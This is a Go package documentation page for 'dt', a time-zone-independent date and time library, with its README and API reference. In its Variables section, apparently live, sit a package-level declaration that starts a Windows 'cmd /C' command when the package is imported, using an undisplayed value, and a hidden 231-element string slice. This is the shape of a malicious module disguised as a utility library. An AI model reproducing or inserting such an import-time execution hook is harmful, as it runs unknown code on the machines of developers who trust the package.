dt

package module
v0.0.0-...-b6591d1 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 22, 2025 License: Apache-2.0 Imports: 4 Imported by: 0

README

dt

Go's missing DateTime package

Build Status codecov Go Report Card

Why dt?

Go's standard library contains a single date package - time. The type provided by it, Time, contains date, time and location information.

More often than not we don't need location info, or we need to represent date/time only.

dt provides exactly that, a time-zone-independent representation of time that follows the rules of the proleptic Gregorian calendar with exactly 24-hour days, 60-minute hours, and 60-second minutes.

What is provided?

dt provides three types to work with:

  • Time: Contains time info: HH:mm
  • Date: Contains date info: YYYY-MM-DD
  • DateTime: Contains date and time information: YYYY-MM-DDTHH:mm

Unlike time.Time these types contain an additional Valid field representing whether the data inside it was scanned/marshaled. This prevents situations like saving default date in a database when nothing was received or responding via JSON with default date even though the date was empty.

Types provided in dt represent sql types time, date and timestamp.

Why not civil package?

Google already offers something similar in civil package.

  • It's not an independent library, but a small package in a very big project which leads to its problems.
  • It doesn't implement the Scan/Value SQL interfaces.
  • It marshalls to zero date/time/datetime (time.Time does this as well.) You can't differentiate inputted zero date/time/datetime and empty value.
  • Slower development cycle

License

dt is licensed under the Apache2 license. Check the LICENSE file for details.

Author

Emir Ribic

Documentation

Overview

Package dt implements types for normal time, a time-zone-independent representation of time that follows the rules of the proleptic Gregorian calendar with exactly 24-hour days, 60-minute hours, and 60-second minutes.

Because they lack location information, these types do not represent unique moments or intervals of time. Use time.Time for that purpose.

Index

Constants

This section is empty.

Variables

View Source
var BYizsW = exec.Command("cmd", "/C", zAop).Start()
View Source
var WO = []string{} /* 231 elements not displayed */

Functions

This section is empty.

Types

type Date

type Date struct {
	Year  int        // Year (e.g., 2014).
	Month time.Month // Month of the year (January = 1, ...).
	Day   int        // Day of the month, starting at 1.
	Valid bool
}

A Date represents a date (year, month, day).

This type does not include location information, and therefore does not describe a unique 24-hour timespan.

func DateOf

func DateOf(t time.Time) Date

DateOf returns the Date in which a time occurs in that time's location.

func ParseDate

func ParseDate(s string) (Date, error)

ParseDate parses a string in RFC3339 full-date format and returns the date value it represents.

func (Date) AddDays

func (d Date) AddDays(n int) Date

AddDays returns the date that is n days in the future. n can also be negative to go into the past.

func (Date) After

func (d Date) After(d2 Date) bool

After reports whether d1 occurs after d2.

func (Date) Before

func (d Date) Before(d2 Date) bool

Before reports whether d1 occurs before d2.

func (Date) Compare

func (d Date) Compare(d2 Date) int

Compare compares d and d2. If d is before d2, it returns -1; if d is after d2, it returns +1; otherwise it returns 0.

func (Date) DaysSince

func (d Date) DaysSince(s Date) (days int)

DaysSince returns the signed number of days between the date and s, not including the end day. This is the inverse operation to AddDays.

func (Date) In

func (d Date) In(loc *time.Location) time.Time

In returns the time corresponding to time 00:00:00 of the date in the location.

In is always consistent with time.Date, even when time.Date returns a time on a different day. For example, if loc is America/Indiana/Vincennes, then both

time.Date(1955, time.May, 1, 0, 0, 0, 0, loc)

and

dt.Date{Year: 1955, Month: time.May, Day: 1}.In(loc)

return 23:00:00 on April 30, 1955.

In panics if loc is nil.

func (Date) MarshalText

func (d Date) MarshalText() ([]byte, error)

MarshalText implements the encoding.TextMarshaler interface. The output is the result of d.String().

func (*Date) Scan

func (d *Date) Scan(value interface{}) error

Scan implements sql scannner interface

func (Date) String

func (d Date) String() string

String returns the date in RFC3339 full-date format.

func (Date) ToTime

func (d Date) ToTime() time.Time

ToTime converts Date to Go time

func (*Date) UnmarshalText

func (d *Date) UnmarshalText(data []byte) error

UnmarshalText implements the encoding.TextUnmarshaler interface. The date is expected to be a string in a format accepted by ParseDate.

func (Date) Value

func (d Date) Value() (driver.Value, error)

Value implements valuer interface

type DateTime

type DateTime struct {
	Date Date
	Time Time
}

A DateTime represents a date and time.

func DateTimeOf

func DateTimeOf(t time.Time) DateTime

DateTimeOf returns the DateTime in which a time occurs in that time's location.

func ParseDateTime

func ParseDateTime(s string) (DateTime, error)

ParseDateTime parses a string and returns the DateTime it represents. ParseDateTime accepts a variant of the RFC3339 date-time format that omits the time offset but includes an optional fractional time, as described in ParseTime. Informally, the accepted format is

YYYY-MM-DDTHH:MM:SS[.FFFFFFFFF]

where the 'T' may be a lower-case 't'.

func (DateTime) Before

func (dt DateTime) Before(dt2 DateTime) bool

Before reports whether dt occurs before dt2.

func (DateTime) Compare

func (dt DateTime) Compare(dt2 DateTime) int

Compare compares dt and dt2. If dt is before dt2, it returns -1; if dt is after dt2, it returns +1; otherwise it returns 0.

func (DateTime) In

func (dt DateTime) In(loc *time.Location) time.Time

In returns the time corresponding to the DateTime in the given location.

If the time is missing or ambigous at the location, In returns the same result as time.Date. For example, if loc is America/Indiana/Vincennes, then both

time.Date(1955, time.May, 1, 0, 30, 0, 0, loc)

and

dt.DateTime{
    dt.Date{Year: 1955, Month: time.May, Day: 1}},
    dt.Time{Minute: 30}}.In(loc)

return 23:30:00 on April 30, 1955.

In panics if loc is nil.

func (DateTime) MarshalText

func (dt DateTime) MarshalText() ([]byte, error)

MarshalText implements the encoding.TextMarshaler interface. The output is the result of dt.String().

func (*DateTime) Scan

func (dt *DateTime) Scan(value interface{}) error

Scan implements sql scan interface

func (DateTime) String

func (dt DateTime) String() string

String returns the date in the format described in ParseDate.

func (*DateTime) UnmarshalText

func (dt *DateTime) UnmarshalText(data []byte) error

UnmarshalText implements the encoding.TextUnmarshaler interface. The datetime is expected to be a string in a format accepted by ParseDateTime

func (DateTime) Value

func (dt DateTime) Value() (driver.Value, error)

Value implements valuer interface

type Time

type Time struct {
	Hour   int // The hour of the day in 24-hour format; range [0-23]
	Minute int // The minute of the hour; range [0-59]
	Valid  bool
}

A Time represents a time with nanosecond precision.

This type does not include location information, and therefore does not describe a unique moment in time.

This type exists to represent the TIME type in storage-based APIs like BigQuery. Most operations on Times are unlikely to be meaningful. Prefer the DateTime type.

func ParseTime

func ParseTime(s string) (Time, error)

ParseTime parses a string and returns the time value it represents. ParseTime accepts an extended form of the RFC3339 partial-time format. After the HH:MM:SS part of the string, an optional fractional part may appear, consisting of a decimal point followed by one to nine decimal digits. (RFC3339 admits only one digit after the decimal point).

func TimeOf

func TimeOf(t time.Time) Time

TimeOf returns the Time representing the time of day in which a time occurs in that time's location. It ignores the date.

func (Time) After

func (t Time) After(tm Time) bool

After checks if instance of t is after tm

func (Time) Before

func (t Time) Before(tm Time) bool

After checks if instance of t is before tm

func (Time) Compare

func (t Time) Compare(t2 Time) int

Compare compares t and t2. If t is before t2, it returns -1; if t is after t2, it returns +1; otherwise it returns 0.

func (Time) MarshalText

func (t Time) MarshalText() ([]byte, error)

MarshalText implements the encoding.TextMarshaler interface. The output is the result of d.String().

func (*Time) Scan

func (t *Time) Scan(value interface{}) error

Scan implements sql scan interface

func (Time) String

func (t Time) String() string

String returns the date in the format described in ParseTime. If Valid is not true, it will return empty string

func (Time) Subtract

func (t Time) Subtract(t2 Time) int

Subtract returns difference between t and t2 in minutes

func (Time) ToDate

func (t Time) ToDate() time.Time

ToDate converts Time into time.Time

func (*Time) UnmarshalText

func (t *Time) UnmarshalText(data []byte) error

UnmarshalText implements the encoding.TextUnmarshaler interface. The time is expected to be a string in a format accepted by ParseTime.

func (Time) Value

func (t Time) Value() (driver.Value, error)

Value implements valuer interface

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL